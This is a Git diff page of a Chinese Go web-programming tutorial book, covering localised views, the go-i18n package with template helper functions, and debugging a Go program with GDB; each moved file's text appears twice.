我们可能会根据Locale的不同来展示视图这些视图包含不同的图片、css、js等各种静态资源。那么应如何来处理这些信息呢首先我们应按locale来组织文件信息请看下面的文件目录安排
views
|--en //英文模板
|--images //存储图片信息
|--js //存储JS文件
|--css //存储css文件
index.tpl //用户首页
login.tpl //登陆首页
|--zh-CN //中文模板
|--images
|--js
|--css
index.tpl
login.tpl
有了这个目录结构后我们就可以在渲染的地方这样来实现代码:
s1, _ := template.ParseFiles("views"+lang+"index.tpl")
VV.Lang=lang
s1.Execute(os.Stdout, VV)
而对于里面的index.tpl里面的资源设置如下
// js文件
<script type="text/javascript" src="views/{{.VV.Lang}}/js/jquery/jquery-1.8.0.min.js"></script>
// css文件
<link href="views/{{.VV.Lang}}/css/bootstrap-responsive.min.css" rel="stylesheet">
// 图片文件
<img src="views/{{.VV.Lang}}/images/btn.png">
采用这种方式来本地化视图以及资源时,我们就可以很容易的进行扩展了。
## 总结
本小节介绍了如何使用及存储本地资源有时需要通过转换函数来实现有时通过lang来设置但是最终都是通过key-value的方式来存储Locale对应的数据在需要时取出相应于Locale的信息后如果是文本信息就直接输出如果是时间日期或者货币则需要先通过`fmt.Printf`或其他格式化函数来处理而对于不同Locale的视图和资源则是最简单的只要在路径里面增加lang就可以实现了。
## links
* [目录](<preface.md>)
* 上一节: [设置默认地区](<10.1.md>)
* 下一节: [国际化站点](<10.3.md>)

360
10.3.md → ebook/10.3.md Executable file → Normal file
View File

@@ -1,180 +1,180 @@
# 10.3 国际化站点
前面小节介绍了如何处理本地化资源即Locale一个相应的配置文件那么如果处理多个的本地化资源呢而对于一些我们经常用到的例如简单的文本翻译、时间日期、数字等如果处理呢本小节将一一解决这些问题。
## 管理多个本地包
在开发一个应用的时候首先我们要决定是只支持一种语言还是多种语言如果要支持多种语言我们则需要制定一个组织结构以方便将来更多语言的添加。在此我们设计如下Locale有关的文件放置在config/locales下假设你要支持中文和英文那么你需要在这个文件夹下放置en.json和zh.json。大概的内容如下所示
# zh.json
{
"zh": {
"submit": "提交",
"create": "创建"
}
}
#en.json
{
"en": {
"submit": "Submit",
"create": "Create"
}
}
为了支持国际化,在此我们使用了一个国际化相关的包——[go-i18n](https://github.com/astaxie/go-i18n)首先我们向go-i18n包注册config/locales这个目录,以加载所有的locale文件
Tr:=i18n.NewLocale()
Tr.LoadPath("config/locales")
这个包使用起来很简单,你可以通过下面的方式进行测试:
fmt.Println(Tr.Translate("submit"))
//输出Submit
Tr.SetLocale("zn")
fmt.Println(Tr.Translate("submit"))
//输出“递交”
## 自动加载本地包
上面我们介绍了如何自动加载自定义语言包其实go-i18n库已经预加载了很多默认的格式信息例如时间格式、货币格式用户可以在自定义配置时改写这些默认配置请看下面的处理过程
//加载默认配置文件这些文件都放在go-i18n/locales下面
//文件命名zh.json、en-json、en-US.json等可以不断的扩展支持更多的语言
func (il *IL) loadDefaultTranslations(dirPath string) error {
dir, err := os.Open(dirPath)
if err != nil {
return err
}
defer dir.Close()
names, err := dir.Readdirnames(-1)
if err != nil {
return err
}
for _, name := range names {
fullPath := path.Join(dirPath, name)
fi, err := os.Stat(fullPath)
if err != nil {
return err
}
if fi.IsDir() {
if err := il.loadTranslations(fullPath); err != nil {
return err
}
} else if locale := il.matchingLocaleFromFileName(name); locale != "" {
file, err := os.Open(fullPath)
if err != nil {
return err
}
defer file.Close()
if err := il.loadTranslation(file, locale); err != nil {
return err
}
}
}
return nil
}
通过上面的方法加载配置信息到默认的文件,这样我们就可以在我们没有自定义时间信息的时候执行如下的代码获取对应的信息:
//locale=zh的情况下执行如下代码
fmt.Println(Tr.Time(time.Now()))
//输出2009年1月08日 星期四 20:37:58 CST
fmt.Println(Tr.Time(time.Now(),"long"))
//输出2009年1月08日
fmt.Println(Tr.Money(11.11))
//输出:¥11.11
## template mapfunc
上面我们实现了多个语言包的管理和加载,而一些函数的实现是基于逻辑层的,例如:"Tr.Translate"、"Tr.Time"、"Tr.Money"等虽然我们在逻辑层可以利用这些函数把需要的参数进行转换后在模板层渲染的时候直接输出但是如果我们想在模版层直接使用这些函数该怎么实现呢不知你是否还记得在前面介绍模板的时候说过Go语言的模板支持自定义模板函数下面是我们实现的方便操作的mapfunc
1. 文本信息
文本信息调用`Tr.Translate`来实现相应的信息转换mapFunc的实现如下
func I18nT(args ...interface{}) string {
ok := false
var s string
if len(args) == 1 {
s, ok = args[0].(string)
}
if !ok {
s = fmt.Sprint(args...)
}
return Tr.Translate(s)
}
注册函数如下:
t.Funcs(template.FuncMap{"T": I18nT})
模板中使用如下:
{{.V.Submit | T}}
2. 时间日期
时间日期调用`Tr.Time`函数来实现相应的时间转换mapFunc的实现如下
func I18nTimeDate(args ...interface{}) string {
ok := false
var s string
if len(args) == 1 {
s, ok = args[0].(string)
}
if !ok {
s = fmt.Sprint(args...)
}
return Tr.Time(s)
}
注册函数如下:
t.Funcs(template.FuncMap{"TD": I18nTimeDate})
模板中使用如下:
{{.V.Now | TD}}
3. 货币信息
货币调用`Tr.Money`函数来实现相应的时间转换mapFunc的实现如下
func I18nMoney(args ...interface{}) string {
ok := false
var s string
if len(args) == 1 {
s, ok = args[0].(string)
}
if !ok {
s = fmt.Sprint(args...)
}
return Tr.Money(s)
}
注册函数如下:
t.Funcs(template.FuncMap{"M": I18nMoney})
模板中使用如下:
{{.V.Money | M}}
## 总结
通过这小节我们知道了如何实现一个多语言包的Web应用通过自定义语言包我们可以方便的实现多语言而且通过配置文件能够非常方便的扩充多语言默认情况下go-i18n会自定加载一些公共的配置信息例如时间、货币等我们就可以非常方便的使用同时为了支持在模板中使用这些函数也实现了相应的模板函数这样就允许我们在开发Web应用的时候直接在模板中通过pipeline的方式来操作多语言包。
## links
* [目录](<preface.md>)
* 上一节: [本地化资源](<10.2.md>)
* 下一节: [小结](<10.4.md>)
# 10.3 国际化站点
前面小节介绍了如何处理本地化资源即Locale一个相应的配置文件那么如果处理多个的本地化资源呢而对于一些我们经常用到的例如简单的文本翻译、时间日期、数字等如果处理呢本小节将一一解决这些问题。
## 管理多个本地包
在开发一个应用的时候首先我们要决定是只支持一种语言还是多种语言如果要支持多种语言我们则需要制定一个组织结构以方便将来更多语言的添加。在此我们设计如下Locale有关的文件放置在config/locales下假设你要支持中文和英文那么你需要在这个文件夹下放置en.json和zh.json。大概的内容如下所示
# zh.json
{
"zh": {
"submit": "提交",
"create": "创建"
}
}
#en.json
{
"en": {
"submit": "Submit",
"create": "Create"
}
}
为了支持国际化,在此我们使用了一个国际化相关的包——[go-i18n](https://github.com/astaxie/go-i18n)首先我们向go-i18n包注册config/locales这个目录,以加载所有的locale文件
Tr:=i18n.NewLocale()
Tr.LoadPath("config/locales")
这个包使用起来很简单,你可以通过下面的方式进行测试:
fmt.Println(Tr.Translate("submit"))
//输出Submit
Tr.SetLocale("zn")
fmt.Println(Tr.Translate("submit"))
//输出“递交”
## 自动加载本地包
上面我们介绍了如何自动加载自定义语言包其实go-i18n库已经预加载了很多默认的格式信息例如时间格式、货币格式用户可以在自定义配置时改写这些默认配置请看下面的处理过程
//加载默认配置文件这些文件都放在go-i18n/locales下面
//文件命名zh.json、en-json、en-US.json等可以不断的扩展支持更多的语言
func (il *IL) loadDefaultTranslations(dirPath string) error {
dir, err := os.Open(dirPath)
if err != nil {
return err
}
defer dir.Close()
names, err := dir.Readdirnames(-1)
if err != nil {
return err
}
for _, name := range names {
fullPath := path.Join(dirPath, name)
fi, err := os.Stat(fullPath)
if err != nil {
return err
}
if fi.IsDir() {
if err := il.loadTranslations(fullPath); err != nil {
return err
}
} else if locale := il.matchingLocaleFromFileName(name); locale != "" {
file, err := os.Open(fullPath)
if err != nil {
return err
}
defer file.Close()
if err := il.loadTranslation(file, locale); err != nil {
return err
}
}
}
return nil
}
通过上面的方法加载配置信息到默认的文件,这样我们就可以在我们没有自定义时间信息的时候执行如下的代码获取对应的信息:
//locale=zh的情况下执行如下代码
fmt.Println(Tr.Time(time.Now()))
//输出2009年1月08日 星期四 20:37:58 CST
fmt.Println(Tr.Time(time.Now(),"long"))
//输出2009年1月08日
fmt.Println(Tr.Money(11.11))
//输出:¥11.11
## template mapfunc
上面我们实现了多个语言包的管理和加载,而一些函数的实现是基于逻辑层的,例如:"Tr.Translate"、"Tr.Time"、"Tr.Money"等虽然我们在逻辑层可以利用这些函数把需要的参数进行转换后在模板层渲染的时候直接输出但是如果我们想在模版层直接使用这些函数该怎么实现呢不知你是否还记得在前面介绍模板的时候说过Go语言的模板支持自定义模板函数下面是我们实现的方便操作的mapfunc
1. 文本信息
文本信息调用`Tr.Translate`来实现相应的信息转换mapFunc的实现如下
func I18nT(args ...interface{}) string {
ok := false
var s string
if len(args) == 1 {
s, ok = args[0].(string)
}
if !ok {
s = fmt.Sprint(args...)
}
return Tr.Translate(s)
}
注册函数如下:
t.Funcs(template.FuncMap{"T": I18nT})
模板中使用如下:
{{.V.Submit | T}}
2. 时间日期
时间日期调用`Tr.Time`函数来实现相应的时间转换mapFunc的实现如下
func I18nTimeDate(args ...interface{}) string {
ok := false
var s string
if len(args) == 1 {
s, ok = args[0].(string)
}
if !ok {
s = fmt.Sprint(args...)
}
return Tr.Time(s)
}
注册函数如下:
t.Funcs(template.FuncMap{"TD": I18nTimeDate})
模板中使用如下:
{{.V.Now | TD}}
3. 货币信息
货币调用`Tr.Money`函数来实现相应的时间转换mapFunc的实现如下
func I18nMoney(args ...interface{}) string {
ok := false
var s string
if len(args) == 1 {
s, ok = args[0].(string)
}
if !ok {
s = fmt.Sprint(args...)
}
return Tr.Money(s)
}
注册函数如下:
t.Funcs(template.FuncMap{"M": I18nMoney})
模板中使用如下:
{{.V.Money | M}}
## 总结
通过这小节我们知道了如何实现一个多语言包的Web应用通过自定义语言包我们可以方便的实现多语言而且通过配置文件能够非常方便的扩充多语言默认情况下go-i18n会自定加载一些公共的配置信息例如时间、货币等我们就可以非常方便的使用同时为了支持在模板中使用这些函数也实现了相应的模板函数这样就允许我们在开发Web应用的时候直接在模板中通过pipeline的方式来操作多语言包。
## links
* [目录](<preface.md>)
* 上一节: [本地化资源](<10.2.md>)
* 下一节: [小结](<10.4.md>)

12
10.4.md → ebook/10.4.md Executable file → Normal file
View File

@@ -1,6 +1,6 @@
# 10.4 小结
通过这一章的介绍读者应该对如何操作i18n有了深入的了解我也根据这一章介绍的内容实现了一个开源的解决方案go-i18nhttps://github.com/astaxie/go-i18n 通过这个开源库我们可以很方便的实现多语言版本的Web应用使得我们的应用能够轻松的实现国际化。如果你发现这个开源库中的错误或者那些缺失的地方请一起参与到这个开源项目中来让我们的这个库争取成为Go的标准库。
## links
* [目录](<preface.md>)
* 上一节: [国际化站点](<10.3.md>)
* 下一节: [错误处理,故障排除和测试](<11.0.md>)
# 10.4 小结
通过这一章的介绍读者应该对如何操作i18n有了深入的了解我也根据这一章介绍的内容实现了一个开源的解决方案go-i18nhttps://github.com/astaxie/go-i18n 通过这个开源库我们可以很方便的实现多语言版本的Web应用使得我们的应用能够轻松的实现国际化。如果你发现这个开源库中的错误或者那些缺失的地方请一起参与到这个开源项目中来让我们的这个库争取成为Go的标准库。
## links
* [目录](<preface.md>)
* 上一节: [国际化站点](<10.3.md>)
* 下一节: [错误处理,故障排除和测试](<11.0.md>)

36
11.0.md → ebook/11.0.md Executable file → Normal file
View File

@@ -1,19 +1,19 @@
# 11 错误处理,调试和测试
我们经常会看到很多程序员大部分的"编程"时间都花费在检查bug和修复bug上。无论你是在编写修改代码还是重构系统几乎都是花费大量的时间在进行故障排除和测试外界都觉得我们程序员是设计师能够把一个系统从无做到有是一项很伟大的工作而且是相当有趣的工作但事实上我们每天都是徘徊在排错、调试、测试之间。当然如果你有良好的习惯和技术方案来直面这些问题那么你就有可能将排错时间减到最少而尽可能的将时间花费在更有价值的事情上。
但是遗憾的是很多程序员不愿意在错误处理、调试和测试能力上下工夫,导致后面应用上线之后查找错误、定位问题花费更多的时间。所以我们在设计应用之前就做好错误处理规划、测试用例等,那么将来修改代码、升级系统都将变得简单。
开发Web应用过程中错误自然难免那么如何更好的找到错误原因解决问题呢11.1小节将介绍Go语言中如何处理错误如何设计自己的包、函数的错误处理11.2小节将介绍如何使用GDB来调试我们的程序动态运行情况下各种变量信息运行情况的监控和调试。
11.3小节将对Go语言中的单元测试进行深入的探讨并示例如何来编写单元测试Go的单元测试规则规范如何定义以保证以后升级修改运行相应的测试代码就可以进行最小化的测试。
长期以来培养良好的调试、测试习惯一直是很多程序员逃避的事情所以现在你不要再逃避了就从你现在的项目开发从学习Go Web开发开始养成良好的习惯。
## 目录
![](images/navi11.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第十章总结](<10.4.md>)
# 11 错误处理,调试和测试
我们经常会看到很多程序员大部分的"编程"时间都花费在检查bug和修复bug上。无论你是在编写修改代码还是重构系统几乎都是花费大量的时间在进行故障排除和测试外界都觉得我们程序员是设计师能够把一个系统从无做到有是一项很伟大的工作而且是相当有趣的工作但事实上我们每天都是徘徊在排错、调试、测试之间。当然如果你有良好的习惯和技术方案来直面这些问题那么你就有可能将排错时间减到最少而尽可能的将时间花费在更有价值的事情上。
但是遗憾的是很多程序员不愿意在错误处理、调试和测试能力上下工夫,导致后面应用上线之后查找错误、定位问题花费更多的时间。所以我们在设计应用之前就做好错误处理规划、测试用例等,那么将来修改代码、升级系统都将变得简单。
开发Web应用过程中错误自然难免那么如何更好的找到错误原因解决问题呢11.1小节将介绍Go语言中如何处理错误如何设计自己的包、函数的错误处理11.2小节将介绍如何使用GDB来调试我们的程序动态运行情况下各种变量信息运行情况的监控和调试。
11.3小节将对Go语言中的单元测试进行深入的探讨并示例如何来编写单元测试Go的单元测试规则规范如何定义以保证以后升级修改运行相应的测试代码就可以进行最小化的测试。
长期以来培养良好的调试、测试习惯一直是很多程序员逃避的事情所以现在你不要再逃避了就从你现在的项目开发从学习Go Web开发开始养成良好的习惯。
## 目录
![](images/navi11.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第十章总结](<10.4.md>)
* 下一节: [错误处理](<11.1.md>)

0
11.1.md → ebook/11.1.md Executable file → Normal file
View File

498
11.2.md → ebook/11.2.md Executable file → Normal file
View File

@@ -1,249 +1,249 @@
# 11.2 使用GDB调试
开发程序过程中调试代码是开发者经常要做的一件事情Go语言不像PHP、Python等动态语言只要修改不需要编译就可以直接输出而且可以动态的在运行环境下打印数据。当然Go语言也可以通过Println之类的打印数据来调试但是每次都需要重新编译这是一件相当麻烦的事情。我们知道在Python中有pdb/ipdb之类的工具调试Javascript也有类似工具这些工具都能够动态的显示变量信息单步调试等。不过庆幸的是Go也有类似的工具支持GDB。Go内部已经内置支持了GDB所以我们可以通过GDB来进行调试那么本小节就来介绍一下如何通过GDB来调试Go程序。
## GDB调试简介
GDB是FSF(自由软件基金会)发布的一个强大的类UNIX系统下的程序调试工具。使用GDB可以做如下事情
1. 启动程序,可以按照开发者的自定义要求运行程序。
2. 可让被调试的程序在开发者设定的调置的断点处停住。(断点可以是条件表达式)
3. 当程序被停住时,可以检查此时程序中所发生的事。
4. 动态的改变当前程序的执行环境。
目前支持调试Go程序的GDB版本必须大于7.1。
编译Go程序的时候需要注意以下几点
1. 传递参数-ldflags "-s"忽略debug的打印信息
2. 传递-gcflags "-N -l" 参数这样可以忽略Go内部做的一些优化聚合变量和函数等优化这样对于GDB调试来说非常困难所以在编译的时候加入这两个参数避免这些优化。
## 常用命令
GDB的一些常用命令如下所示
- list
简写命令`l`,用来显示源代码,默认显示十行代码,后面可以带上参数显示的具体行,例如:`list 15`显示十行代码其中第15行在显示的十行里面的中间如下所示。
10 time.Sleep(2 * time.Second)
11 c <- i
12 }
13 close(c)
14 }
15
16 func main() {
17 msg := "Starting main"
18 fmt.Println(msg)
19 bus := make(chan int)
- break
简写命令 `b`,用来设置断点,后面跟上参数设置断点的行数,例如`b 10`在第十行设置断点。
- delete
简写命令 `d`,用来删除断点,后面跟上断点设置的序号,这个序号可以通过`info breakpoints`获取相应的设置的断点序号,如下是显示的设置断点序号。
Num Type Disp Enb Address What
2 breakpoint keep y 0x0000000000400dc3 in main.main at /home/xiemengjun/gdb.go:23
breakpoint already hit 1 time
- backtrace
简写命令 `bt`,用来打印执行的代码过程,如下所示:
#0 main.main () at /home/xiemengjun/gdb.go:23
#1 0x000000000040d61e in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244
#2 0x000000000040d6c1 in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267
#3 0x0000000000000000 in ?? ()
- info
info命令用来显示信息后面有几种参数我们常用的有如下几种
- `info locals`
显示当前执行的程序中的变量值
- `info breakpoints`
显示当前设置的断点列表
- `info goroutines`
显示当前执行的goroutine列表如下代码所示,带*的表示当前执行的
* 1 running runtime.gosched
* 2 syscall runtime.entersyscall
3 waiting runtime.gosched
4 runnable runtime.gosched
- print
简写命令`p`,用来打印变量或者其他信息,后面跟上需要打印的变量名,当然还有一些很有用的函数$len()和$cap()用来返回当前string、slices或者maps的长度和容量。
- whatis
用来显示当前变量的类型,后面跟上变量名,例如`whatis msg`,显示如下:
type = struct string
- next
简写命令 `n`,用来单步调试,跳到下一步,当有断点之后,可以输入`n`跳转到下一步继续执行
- coutinue
简称命令 `c`用来跳出当前断点处后面可以跟参数N跳过多少次断点
- set variable
该命令用来改变运行过程中的变量值,格式如:`set variable <var>=<value>`
## 调试过程
我们通过下面这个代码来演示如何通过GDB来调试Go程序下面是将要演示的代码
package main
import (
"fmt"
"time"
)
func counting(c chan<- int) {
for i := 0; i < 10; i++ {
time.Sleep(2 * time.Second)
c <- i
}
close(c)
}
func main() {
msg := "Starting main"
fmt.Println(msg)
bus := make(chan int)
msg = "starting a gofunc"
go counting(bus)
for count := range bus {
fmt.Println("count:", count)
}
}
编译文件生成可执行文件gdbfile:
go build -gcflags "-N -l" -ldflags "-s" gdbfile.go
通过gdb命令启动调试
gdb gdbfile
启动之后首先看看这个程序是不是可以运行起来,只要输入`run`命令回车后程序就开始运行,程序正常的话可以看到程序输出如下,和我们在命令行直接执行程序输出是一样的:
(gdb) run
Starting program: /home/xiemengjun/gdbfile
Starting main
count: 0
count: 1
count: 2
count: 3
count: 4
count: 5
count: 6
count: 7
count: 8
count: 9
[LWP 2771 exited]
[Inferior 1 (process 2771) exited normally]
好了,现在我们已经知道怎么让程序跑起来了,接下来开始给代码设置断点:
(gdb) b 23
Breakpoint 1 at 0x400d8d: file /home/xiemengjun/gdbfile.go, line 23.
(gdb) run
Starting program: /home/xiemengjun/gdbfile
Starting main
[New LWP 3284]
[Switching to LWP 3284]
Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23 fmt.Println("count:", count)
上面例子`b 23`表示在第23行设置了断点之后输入`run`开始运行程序。现在程序在前面设置断点的地方停住了,我们需要查看断点相应上下文的源码,输入`list`就可以看到源码显示从当前停止行的前五行开始:
(gdb) list
18 fmt.Println(msg)
19 bus := make(chan int)
20 msg = "starting a gofunc"
21 go counting(bus)
22 for count := range bus {
23 fmt.Println("count:", count)
24 }
25 }
现在GDB在运行当前的程序的环境中已经保留了一些有用的调试信息我们只需打印出相应的变量查看相应变量的类型及值
(gdb) info locals
count = 0
bus = 0xf840001a50
(gdb) p count
$1 = 0
(gdb) p bus
$2 = (chan int) 0xf840001a50
(gdb) whatis bus
type = chan int
接下来该让程序继续往下执行,请继续看下面的命令
(gdb) c
Continuing.
count: 0
[New LWP 3303]
[Switching to LWP 3303]
Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23 fmt.Println("count:", count)
(gdb) c
Continuing.
count: 1
[Switching to LWP 3302]
Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23 fmt.Println("count:", count)
每次输入`c`之后都会执行一次代码又跳到下一次for循环继续打印出来相应的信息。
设想目前需要改变上下文相关变量的信息,跳过一些过程,并继续执行下一步,得出修改后想要的结果:
(gdb) info locals
count = 2
bus = 0xf840001a50
(gdb) set variable count=9
(gdb) info locals
count = 9
bus = 0xf840001a50
(gdb) c
Continuing.
count: 9
[Switching to LWP 3302]
Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23 fmt.Println("count:", count)
最后稍微思考一下前面整个程序运行的过程中到底创建了多少个goroutine每个goroutine都在做什么
(gdb) info goroutines
* 1 running runtime.gosched
* 2 syscall runtime.entersyscall
3 waiting runtime.gosched
4 runnable runtime.gosched
(gdb) goroutine 1 bt
#0 0x000000000040e33b in runtime.gosched () at /home/xiemengjun/go/src/pkg/runtime/proc.c:927
#1 0x0000000000403091 in runtime.chanrecv (c=void, ep=void, selected=void, received=void)
at /home/xiemengjun/go/src/pkg/runtime/chan.c:327
#2 0x000000000040316f in runtime.chanrecv2 (t=void, c=void)
at /home/xiemengjun/go/src/pkg/runtime/chan.c:420
#3 0x0000000000400d6f in main.main () at /home/xiemengjun/gdbfile.go:22
#4 0x000000000040d0c7 in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244
#5 0x000000000040d16a in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267
#6 0x0000000000000000 in ?? ()
通过查看goroutines的命令我们可以清楚地了解goruntine内部是怎么执行的每个函数的调用顺序已经明明白白地显示出来了。
## 小结
本小节我们介绍了GDB调试Go程序的一些基本命令包括`run``print``info``set variable``coutinue``list``break` 等经常用到的调试命令通过上面的例子演示我相信读者已经对于通过GDB调试Go程序有了基本的理解如果你想获取更多的调试技巧请参考官方网站的GDB调试手册还有GDB官方网站的手册。
## links
* [目录](<preface.md>)
* 上一节: [错误处理](<11.1.md>)
* 下一节: [Go怎么写测试用例](<11.3.md>)
# 11.2 使用GDB调试
开发程序过程中调试代码是开发者经常要做的一件事情Go语言不像PHP、Python等动态语言只要修改不需要编译就可以直接输出而且可以动态的在运行环境下打印数据。当然Go语言也可以通过Println之类的打印数据来调试但是每次都需要重新编译这是一件相当麻烦的事情。我们知道在Python中有pdb/ipdb之类的工具调试Javascript也有类似工具这些工具都能够动态的显示变量信息单步调试等。不过庆幸的是Go也有类似的工具支持GDB。Go内部已经内置支持了GDB所以我们可以通过GDB来进行调试那么本小节就来介绍一下如何通过GDB来调试Go程序。
## GDB调试简介
GDB是FSF(自由软件基金会)发布的一个强大的类UNIX系统下的程序调试工具。使用GDB可以做如下事情
1. 启动程序,可以按照开发者的自定义要求运行程序。
2. 可让被调试的程序在开发者设定的调置的断点处停住。(断点可以是条件表达式)
3. 当程序被停住时,可以检查此时程序中所发生的事。
4. 动态的改变当前程序的执行环境。
目前支持调试Go程序的GDB版本必须大于7.1。
编译Go程序的时候需要注意以下几点
1. 传递参数-ldflags "-s"忽略debug的打印信息
2. 传递-gcflags "-N -l" 参数这样可以忽略Go内部做的一些优化聚合变量和函数等优化这样对于GDB调试来说非常困难所以在编译的时候加入这两个参数避免这些优化。
## 常用命令
GDB的一些常用命令如下所示
- list
简写命令`l`,用来显示源代码,默认显示十行代码,后面可以带上参数显示的具体行,例如:`list 15`显示十行代码其中第15行在显示的十行里面的中间如下所示。
10 time.Sleep(2 * time.Second)
11 c <- i
12 }
13 close(c)
14 }
15
16 func main() {
17 msg := "Starting main"
18 fmt.Println(msg)
19 bus := make(chan int)
- break
简写命令 `b`,用来设置断点,后面跟上参数设置断点的行数,例如`b 10`在第十行设置断点。
- delete
简写命令 `d`,用来删除断点,后面跟上断点设置的序号,这个序号可以通过`info breakpoints`获取相应的设置的断点序号,如下是显示的设置断点序号。
Num Type Disp Enb Address What
2 breakpoint keep y 0x0000000000400dc3 in main.main at /home/xiemengjun/gdb.go:23
breakpoint already hit 1 time
- backtrace
简写命令 `bt`,用来打印执行的代码过程,如下所示:
#0 main.main () at /home/xiemengjun/gdb.go:23
#1 0x000000000040d61e in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244
#2 0x000000000040d6c1 in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267
#3 0x0000000000000000 in ?? ()
- info
info命令用来显示信息后面有几种参数我们常用的有如下几种
- `info locals`
显示当前执行的程序中的变量值
- `info breakpoints`
显示当前设置的断点列表
- `info goroutines`
显示当前执行的goroutine列表如下代码所示,带*的表示当前执行的
* 1 running runtime.gosched
* 2 syscall runtime.entersyscall
3 waiting runtime.gosched
4 runnable runtime.gosched
- print
简写命令`p`,用来打印变量或者其他信息,后面跟上需要打印的变量名,当然还有一些很有用的函数$len()和$cap()用来返回当前string、slices或者maps的长度和容量。
- whatis
用来显示当前变量的类型,后面跟上变量名,例如`whatis msg`,显示如下:
type = struct string
- next
简写命令 `n`,用来单步调试,跳到下一步,当有断点之后,可以输入`n`跳转到下一步继续执行
- coutinue
简称命令 `c`用来跳出当前断点处后面可以跟参数N跳过多少次断点
- set variable
该命令用来改变运行过程中的变量值,格式如:`set variable <var>=<value>`
## 调试过程
我们通过下面这个代码来演示如何通过GDB来调试Go程序下面是将要演示的代码
package main
import (
"fmt"
"time"
)
func counting(c chan<- int) {
for i := 0; i < 10; i++ {
time.Sleep(2 * time.Second)
c <- i
}
close(c)
}
func main() {
msg := "Starting main"
fmt.Println(msg)
bus := make(chan int)
msg = "starting a gofunc"
go counting(bus)
for count := range bus {
fmt.Println("count:", count)
}
}
编译文件生成可执行文件gdbfile:
go build -gcflags "-N -l" -ldflags "-s" gdbfile.go
通过gdb命令启动调试
gdb gdbfile
启动之后首先看看这个程序是不是可以运行起来,只要输入`run`命令回车后程序就开始运行,程序正常的话可以看到程序输出如下,和我们在命令行直接执行程序输出是一样的:
(gdb) run
Starting program: /home/xiemengjun/gdbfile
Starting main
count: 0
count: 1
count: 2
count: 3
count: 4
count: 5
count: 6
count: 7
count: 8
count: 9
[LWP 2771 exited]
[Inferior 1 (process 2771) exited normally]
好了,现在我们已经知道怎么让程序跑起来了,接下来开始给代码设置断点:
(gdb) b 23
Breakpoint 1 at 0x400d8d: file /home/xiemengjun/gdbfile.go, line 23.
(gdb) run
Starting program: /home/xiemengjun/gdbfile
Starting main
[New LWP 3284]
[Switching to LWP 3284]
Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23 fmt.Println("count:", count)
上面例子`b 23`表示在第23行设置了断点之后输入`run`开始运行程序。现在程序在前面设置断点的地方停住了,我们需要查看断点相应上下文的源码,输入`list`就可以看到源码显示从当前停止行的前五行开始:
(gdb) list
18 fmt.Println(msg)
19 bus := make(chan int)
20 msg = "starting a gofunc"
21 go counting(bus)
22 for count := range bus {
23 fmt.Println("count:", count)
24 }
25 }
现在GDB在运行当前的程序的环境中已经保留了一些有用的调试信息我们只需打印出相应的变量查看相应变量的类型及值
(gdb) info locals
count = 0
bus = 0xf840001a50
(gdb) p count
$1 = 0
(gdb) p bus
$2 = (chan int) 0xf840001a50
(gdb) whatis bus
type = chan int
接下来该让程序继续往下执行,请继续看下面的命令
(gdb) c
Continuing.
count: 0
[New LWP 3303]
[Switching to LWP 3303]
Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23 fmt.Println("count:", count)
(gdb) c
Continuing.
count: 1
[Switching to LWP 3302]
Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23 fmt.Println("count:", count)
每次输入`c`之后都会执行一次代码又跳到下一次for循环继续打印出来相应的信息。
设想目前需要改变上下文相关变量的信息,跳过一些过程,并继续执行下一步,得出修改后想要的结果:
(gdb) info locals
count = 2
bus = 0xf840001a50
(gdb) set variable count=9
(gdb) info locals
count = 9
bus = 0xf840001a50
(gdb) c
Continuing.
count: 9
[Switching to LWP 3302]
Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23 fmt.Println("count:", count)
最后稍微思考一下前面整个程序运行的过程中到底创建了多少个goroutine每个goroutine都在做什么
(gdb) info goroutines
* 1 running runtime.gosched
* 2 syscall runtime.entersyscall
3 waiting runtime.gosched
4 runnable runtime.gosched
(gdb) goroutine 1 bt
#0 0x000000000040e33b in runtime.gosched () at /home/xiemengjun/go/src/pkg/runtime/proc.c:927
#1 0x0000000000403091 in runtime.chanrecv (c=void, ep=void, selected=void, received=void)
at /home/xiemengjun/go/src/pkg/runtime/chan.c:327
#2 0x000000000040316f in runtime.chanrecv2 (t=void, c=void)
at /home/xiemengjun/go/src/pkg/runtime/chan.c:420
#3 0x0000000000400d6f in main.main () at /home/xiemengjun/gdbfile.go:22
#4 0x000000000040d0c7 in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244
#5 0x000000000040d16a in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267
#6 0x0000000000000000 in ?? ()
通过查看goroutines的命令我们可以清楚地了解goruntine内部是怎么执行的每个函数的调用顺序已经明明白白地显示出来了。
## 小结
本小节我们介绍了GDB调试Go程序的一些基本命令包括`run``print``info``set variable``coutinue``list``break` 等经常用到的调试命令通过上面的例子演示我相信读者已经对于通过GDB调试Go程序有了基本的理解如果你想获取更多的调试技巧请参考官方网站的GDB调试手册还有GDB官方网站的手册。
## links
* [目录](<preface.md>)
* 上一节: [错误处理](<11.1.md>)
* 下一节: [Go怎么写测试用例](<11.3.md>)

296
11.3.md → ebook/11.3.md Executable file → Normal file
View File

@@ -1,149 +1,149 @@
# 11.3 Go怎么写测试用例
开发程序其中很重要的一点是测试我们如何保证代码的质量如何保证每个函数是可运行运行结果是正确的又如何保证写出来的代码性能是好的我们知道单元测试的重点在于发现程序设计或实现的逻辑错误使问题及早暴露便于问题的定位解决而性能测试的重点在于发现程序设计上的一些问题让线上的程序能够在高并发的情况下还能保持稳定。本小节将带着这一连串的问题来讲解Go语言中如何来实现单元测试和性能测试。
